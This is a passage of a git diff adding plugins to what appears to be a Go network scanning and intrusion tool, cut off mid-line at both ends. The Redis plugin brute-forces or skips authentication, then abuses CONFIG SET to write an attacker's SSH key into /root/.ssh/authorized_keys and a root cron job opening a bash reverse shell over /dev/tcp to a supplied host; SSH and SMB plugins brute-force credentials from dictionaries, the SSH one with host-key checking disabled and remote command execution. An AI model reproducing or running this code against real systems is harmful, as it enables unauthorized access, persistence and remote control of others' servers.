*common.HostInfo,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){ + flag = false + realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"]) + conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second) + if err != nil{ + return flag,err + } + defer conn.Close() + conn.Write([]byte(fmt.Sprintf("auth %s\r\n",pass))) + reply,err := readreply(conn) + //common.LogSuccess(result) + if strings.Contains(reply,"+OK"){ + result := fmt.Sprintf("Redis:%s %s",realhost,pass) + common.LogSuccess(result) + flag = true + Expoilt(info ,realhost,conn) + + } + return flag,err +} + + +func RedisUnauth(info *common.HostInfo) (flag bool,err error) { + flag = false + realhost:=fmt.Sprintf("%s:%d",info.Host,common.PORTList["redis"]) + conn,err := net.DialTimeout("tcp",realhost,time.Duration(info.Timeout)*time.Second) + if err != nil{ + return flag,err + } + defer conn.Close() + conn.Write([]byte("info\r\n")) + reply,err := readreply(conn) + if strings.Contains(reply,"redis_version"){ + result := fmt.Sprintf("Redis:%s unauthorized",realhost) + common.LogSuccess(result) + flag = true + Expoilt(info ,realhost,conn) + } + return flag,err +} + +func Expoilt(info *common.HostInfo,realhost string,conn net.Conn) { + flagSsh,flagCron := testwrite(conn) + if flagSsh == true{ + result := fmt.Sprintf("Redis:%v like can write /root/.ssh/",realhost) + common.LogSuccess(result) + if info.RedisFile != ""{ + if writeok,text := writekey(conn,info.RedisFile);writeok{ + result := fmt.Sprintf("%v SSH public key was written successfully",realhost) + common.LogSuccess(result) + }else { + fmt.Println(realhost,"SSHPUB write failed",text) + } + } + } + + if flagCron == true{ + result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/",realhost) + common.LogSuccess(result) + if info.RedisShell != "" { + if writeok,text := writecron(conn,info.RedisShell);writeok{ + result := fmt.Sprintf("%v /var/spool/cron/root was written successfully",realhost) + common.LogSuccess(result) + }else { + fmt.Println(realhost,"cron write failed",text) + } + } + } +} + + +func writekey(conn net.Conn,filename string) (flag bool,text string) { + flag = false + conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) + text,_ = readreply(conn) + if strings.Contains(text,"OK") { + conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n"))) + text,_ = readreply(conn) + if strings.Contains(text,"OK") { + key,_ := Readfile(filename) + conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n",key))) + text,_ = readreply(conn) + if strings.Contains(text,"OK") { + conn.Write([]byte(fmt.Sprintf("save\r\n"))) + text,_ = readreply(conn) + if strings.Contains(text,"OK") { + flag = true + } + } + } + } + if len(text) > 50{ + text = text[:50] + } + return flag,text +} + + + +func writecron(conn net.Conn,host string) (flag bool,text string) { + flag = false + conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) + text,_ = readreply(conn) + if strings.Contains(text,"OK") { + conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n"))) + text,_ = readreply(conn) + if strings.Contains(text,"OK") { + scan_ip,scan_port := strings.Split(host,":")[0],strings.Split(host,":")[1] + conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",scan_ip,scan_port))) + text,_ = readreply(conn) + if strings.Contains(text,"OK") { + conn.Write([]byte(fmt.Sprintf("save\r\n"))) + text,_ = readreply(conn) + if strings.Contains(text,"OK") { + flag = true + } + } + } + } + if len(text) > 50{ + text = text[:50] + } + return flag,text +} + +func Readfile(filename string)(string,error){ + file, err := os.Open(filename) + if err!=nil{ + fmt.Println("Open %s error, %v", filename,err) + return err.Error(),err + } + defer file.Close() + scanner := bufio.NewScanner(file) + //scanner.Split(bufio.ScanLines) + for scanner.Scan() { + //text := strings.TrimSpace(scanner.Text()) + text := scanner.Text() + if text != "" { + return text,nil + } + } + return err.Error(),err +} + +func readreply(conn net.Conn) (result string,err error) { + buf := make([]byte, 4096) + for { + count, err := conn.Read(buf) + if err != nil { + break + } + result += string(buf[0:count]) + if count < 4096 { + break + } + } + return result,err +} + +func testwrite(conn net.Conn) (flagSsh bool,flagCron bool) { + flagSsh = false + flagCron = false + var text string + conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) + text,_ = readreply(conn) + if strings.Contains(string(text),"OK") { + flagSsh = true + } + conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) + text,_ = readreply(conn) + if strings.Contains(string(text),"OK") { + flagCron = true + } + return flagSsh,flagCron +} \ No newline at end of file diff --git a/Plugins/scanner.go b/Plugins/scanner.go new file mode 100644 index 0000000..8c1849d --- /dev/null +++ b/Plugins/scanner.go @@ -0,0 +1,87 @@ +package Plugins + +import ( + "../common" + "errors" + "fmt" + "reflect" + "strconv" + "strings" + "sync" +) +func scan_func(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) { + f := reflect.ValueOf(m[name]) + if len(infos) != f.Type().NumIn() { + err = errors.New("The number of infos is not adapted.") + if err != nil { + fmt.Println(err.Error()) + // //os.Exit(0) + } + } + in := make([]reflect.Value, len(infos)) + for k, info := range infos { + in[k] = reflect.ValueOf(info) + } + result = f.Call(in) + return result,nil +} +func IsContain(items []string, item string) bool { + for _, eachItem := range items { + if eachItem == item { + return true + } + } + return false +} + +func Scan(info *common.HostInfo) { + Hosts,_ := common.ParseIP(info.Host) + if info.Isping == false{ + Hosts = ICMPRun(Hosts) + } + _,AlivePorts := TCPportScan(Hosts,info.Ports,"icmp",3) //return AliveHosts,AlivePorts + var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"} + for _,port:=range common.PORTList{ + severports = append(severports,strconv.Itoa(port)) + } + severports1 := []string{"1521"} + var ch = make(chan int,info.Threads) + var wg = sync.WaitGroup{} + var scantype string + for _,targetIP :=range AlivePorts{ + scan_ip,scan_port := strings.Split(targetIP,":")[0],strings.Split(targetIP,":")[1] + info.Host = scan_ip + if info.Scantype == "all"{ + if IsContain(severports,scan_port){ + //scantype = scan_port + AddScan(scan_port,info,ch,&wg) + }else { + if !IsContain(severports1,scan_port){ + info.Url = fmt.Sprintf("http://%s",targetIP) + wg.Add(1) + go WebTitle(info,ch,&wg) //go scan_func(PluginList,"WebTitle",info,ch,&wg) + ch <- 1 + } + } + if scan_port == "445"{ + AddScan("1000001",info,ch,&wg) + AddScan("1000002",info,ch,&wg) + } + + }else { + port,_:=common.PORTList[info.Scantype] + scantype = strconv.Itoa(port) + AddScan(scantype,info,ch,&wg) + //wg.Add(1) + //go scan_func(PluginList,scantype,info,ch,&wg) + //ch <- 1 + } + } + wg.Wait() +} + +func AddScan(scantype string,info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { + wg.Add(1) + go scan_func(PluginList,scantype,info,ch,wg) + ch <- 1 +} \ No newline at end of file diff --git a/Plugins/smb.go b/Plugins/smb.go new file mode 100644 index 0000000..4aca6cf --- /dev/null +++ b/Plugins/smb.go @@ -0,0 +1,75 @@ +package Plugins + +import ( + "../common" + "fmt" + "github.com/stacktitan/smb/smb" + "strings" + "sync" + "time" + "context" +) +func SmbScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { + +Loop: + for _,user:=range common.Userdict["smb"]{ + for _,pass:=range common.Passwords{ + pass = strings.Replace(pass, "{user}", string(user), -1) + //fmt.Println(user,pass) + //flag,err := SmblConn(info,user,pass) + flag,err := doWithTimeOut(info,user,pass) + //fmt.Println(user,pass,flag,err) + if flag==true && err==nil { + break Loop + } + } + } + wg.Done() + <- ch + +} + +func SmblConn(info *common.HostInfo,user string,pass string)(flag bool,err error){ + flag = false + Host,Port,Username,Password := info.Host, common.PORTList["smb"],user, pass + options := smb.Options{ + Host: Host, + Port: Port, + User: Username, + Password: Password, + Domain: "", + Workstation: "", + Timeout: info.Timeout, + + } + + session, err := smb.NewSession(options, false) + //fmt.Println(err) + if err == nil { + defer session.Close() + if session.IsAuthenticated { + result := fmt.Sprintf("SMB:%v:%v:%v %v",Host,Port,Username,Password) + common.LogSuccess(result) + flag = true + } + } + return flag,err +} + +func doWithTimeOut(info *common.HostInfo,user string,pass string)(flag bool,err error){ + ctx,cancel := context.WithTimeout(context.Background(),time.Duration(info.Timeout)*time.Second) + //ctx,cancel := context.WithTimeout(context.Background(),1*time.Second) + defer cancel() + signal := make(chan int,1) + go func() { + flag,err = SmblConn(info,user,pass) + signal <- 1 + }() + + select { + case <-signal: + return flag,err + case <-ctx.Done(): + return false,err + } +} \ No newline at end of file diff --git a/Plugins/ssh.go b/Plugins/ssh.go new file mode 100644 index 0000000..0704ccc --- /dev/null +++ b/Plugins/ssh.go @@ -0,0 +1,68 @@ +package Plugins + +import ( + "../common" + "fmt" + "golang.org/x/crypto/ssh" + "net" + "strings" + "sync" + "time" +) +func SshScan(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) { + //SshConn(info,"oracle","oracle",ch,wg) +Loop: + for _,user:=range common.Userdict["ssh"]{ + for _,pass:=range common.Passwords{ + pass = strings.Replace(pass, "{user}", string(user), -1) + //wg.Add(1) + //var good bool + //go SshConn(info,user,pass,ch,wg) + //if good == true{ + // break Loop + //} + flag,err := SshConn(info,user,pass,ch,wg) + if flag==true && err==nil { + break Loop + } + } + } + wg.Done() + <- ch +} + +func SshConn(info *common.HostInfo,user string,pass string,ch chan int,wg *sync.WaitGroup)(flag bool,err error){ + flag = false + Host,Port,Username,Password := info.Host, common.PORTList["ssh"],user, pass + //fmt.Println(Host,Port,Username,Password) + config := &ssh.ClientConfig{ + User: Username, + Auth: []ssh.AuthMethod{ + ssh.Password(Password), + }, + Timeout: time.Duration(info.Timeout)*time.Second, + HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { + return nil + }, + } + + client, err := ssh.Dial("tcp", fmt.Sprintf("%v:%v", Host, Port), config) + if err == nil { + defer client.Close() + session, err := client.NewSession() + if err == nil { //if err == nil && errRet == nil { + defer session.Close() + flag = true + if info.Command != ""{ + combo,_ := session.CombinedOutput(info.Command) + result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v",Host,Port,Username,Password,string(combo)) + common.LogSuccess(result) + }else { + result := fmt.Sprintf("SSH:%v:%v:%v %v",Host,Port,Username,Password) + common.LogSuccess(result) + } + } + } + return flag,err + +} diff --git a/Plugins/webtitle.go b/Plugins/webtitle.go new file mode 100644 index 0000000..0836b81 --- /dev/null +++ b/Plugins/webtitle.go @@ -0,0 +1,84 @@ +package Plugins + +import ( + "../common" + "fmt" + "io/ioutil" + "net/http" + "regexp" + "strings" + "sync" + "time" +) + +func WebTitle(info *common.HostInfo,ch chan int,wg *sync.WaitGroup) (err error, result string) { + err,result = geturl(info) + wg.Done() + <-ch + return err, result +} + + +func geturl(info *common.HostInfo) (err error, result string) { + url := info.Url + var client = &http.Client{Timeout:time.Duration(info.Timeout)*time.Second } + res,err:=http.NewRequest("GET",url,nil) + if err==nil{ + res.Header.Add("User-agent","Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") + res.Header.Add("Accept","*/*") + res.Header.Add("Accept-Language","zh-CN,zh;q=0.9") + res.Header.Add("Accept-Encoding","gzip, deflate") + res.Header.Add("Connection","close") + resp,err:=client.Do(res) + if err==nil{ + defer resp.Body.Close() + var title string + body, _ := ioutil.ReadAll(resp.Body) + re :=regexp.MustCompile("